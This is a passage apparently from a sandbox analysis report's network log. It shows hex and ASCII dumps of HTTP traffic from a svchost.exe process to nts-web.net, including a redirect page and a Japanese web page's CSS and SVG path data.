2023-05-31 12:51:59 UTC	2823	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 31 May 2023 12:51:59 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-05-31 12:51:59 UTC	2824	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	63758	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:59 UTC	2824	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net
2023-05-31 12:52:00 UTC	2829	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 May 2023 12:52:00 GMT Content-Type: text/html Content-Length: 2599149 Connection: close Last-Modified: Tue, 08 Nov 2022 00:53:41 GMT ETag: "27a8ed-5eceaf89b8f40" Accept-Ranges: bytes
2023-05-31 12:52:00 UTC	2829	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 77 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 77 65 62 73 69 74 65 23 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="wi
2023-05-31 12:52:00 UTC	2845	IN	Data Raw: 77 69 64 74 68 3a 31 2e 30 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 32 2c 2e 63 6c 73 2d 31 36 33 7b 66 69 6c 6c 3a 23 39 32 64 31 64 37 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 35 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 39 37 70 78 3b 7d 2e 63 6c 73 2d 31 36 32 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 31 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 33 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 34 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 35 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 35 7b 66 69 6c 6c 3a 23 65 65 65 39 34 32 3b 7d 2e 63 6c 73 2d 31 36 36 7b 66 69 6c 6c 3a 23 65 34 38 32 37 65 3b 7d 2e 63 6c 73 2d 31 36 37 7b 66 69 6c 6c 3a 23 38 36 63 64 64 34 3b 7d 2e 63 Data Ascii: width:1.04px;}.cls-161,.cls-162,.cls-163{fill:#92d1d7;}.cls-161,.cls-165{stroke-width:0.97px;}.cls-162{stroke-width:1.15px;}.cls-163{stroke-width:1.25px;}.cls-164{stroke-width:1.54px;}.cls-165{fill:#eee942;}.cls-166{fill:#e4827e;}.cls-167{fill:#86cdd4;}.c
2023-05-31 12:52:01 UTC	2861	IN	Data Raw: 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 38 33 2c 31 39 35 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 36 2c 31 38 38 2e 31 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 Data Ascii: 1,.15,2.86"/><path class="cls-4" d="M692.83,195a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M692.6,188.1a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94
2023-05-31 12:52:01 UTC	2877	IN	Data Raw: 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 33 35 2c 32 36 33 2e 34 31 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 31 32 2c 32 35 36 2e 34 38 61 31 Data Ascii: 2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M723.35,263.41a1.71,1.71,0,0,1-.77,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M723.12,256.48a1
2023-05-31 12:52:01 UTC	2893	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e Data Ascii: ,0,0,1,.51-2.89,2.
2023-05-31 12:52:01 UTC	2926	IN	Data Raw: 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 38 38 2c 33 33 31 2e 37 39 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 36 34 2c 33 32 34 2e 38 36 61 31 2e 37 31 2c 31 2e 37 31 Data Ascii: 24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M753.88,331.79a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M753.64,324.86a1.71,1.71
2023-05-31 12:52:01 UTC	2942	IN	Data Raw: 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 37 39 2c 32 30 36 2e 32 37 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 35 35 2c Data Ascii: ,1,.51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M770.79,206.27a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M770.55,
2023-05-31 12:52:01 UTC	2958	IN	Data Raw: 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 31 2e 33 31 2c 32 37 34 2e 36 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M801.31,274.66a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.52-2.89,2.24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class
2023-05-31 12:52:01 UTC	2974	IN	Data Raw: 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 31 2e 38 34 2c 33 34 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 2f 3e 3c 70 Data Ascii: 1,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M831.84,343a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"/><p
2023-05-31 12:52:01 UTC	2990	IN	Data Raw: 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 38 2e 37 35 2c 32 31 37 2e 35 32 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c Data Ascii: 73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.41,2.41,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M848.75,217.52a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,
2023-05-31 12:52:01 UTC	3006	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 35 2c 32 39 32 2e 38 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e Data Ascii: cls-4" d="M879.5,292.83a1.72,1.72,0,0,1-.77,2.24,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.
2023-05-31 12:52:01 UTC	3022	IN	Data Raw: 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 30 2c 33 36 31 2e 32 31 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 39 2e 37 39 2c 33 35 34 2e 32 38 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 Data Ascii: 2.86"/><path class="cls-4" d="M910,361.21a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M909.79,354.28a1.71,1.71,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.3
2023-05-31 12:52:01 UTC	3038	IN	Data Raw: 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 39 34 2c 32 33 35 2e 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 37 2c 32 32 38 2e 37 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 Data Ascii: 9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M926.94,235.7a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M926.7,228.76a1.72,1.72,0,0,1-.78,2.24,2
2023-05-31 12:52:01 UTC	3054	IN	Data Raw: 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 31 31 2c 31 37 30 2e 35 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 33 34 2c 31 37 37 2e 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 Data Ascii: 82"/><path class="cls-4" d="M1027.11,170.57a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M1027.34,177.4a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2
2023-05-31 12:52:01 UTC	3070	IN	Data Raw: 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 31 30 2e 36 39 2c 33 30 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 39 37 2e 35 31 2c 31 31 36 2e 38 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 Data Ascii: -.16-2.81"/><path class="cls-4" d="M1010.69,301a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"/><path class="cls-4" d="M997.51,116.88a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.3
2023-05-31 12:52:01 UTC	3086	IN	Data Raw: 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 2e 30 39 2c 32 34 37 2e 33 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 Data Ascii: .37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M981.09,247.32a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M981
2023-05-31 12:52:01 UTC	3102	IN	Data Raw: 2c 31 38 36 2e 38 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 31 2e 34 39 2c 31 39 33 2e 36 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e Data Ascii: ,186.81a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M951.49,193.64a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2.39,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.
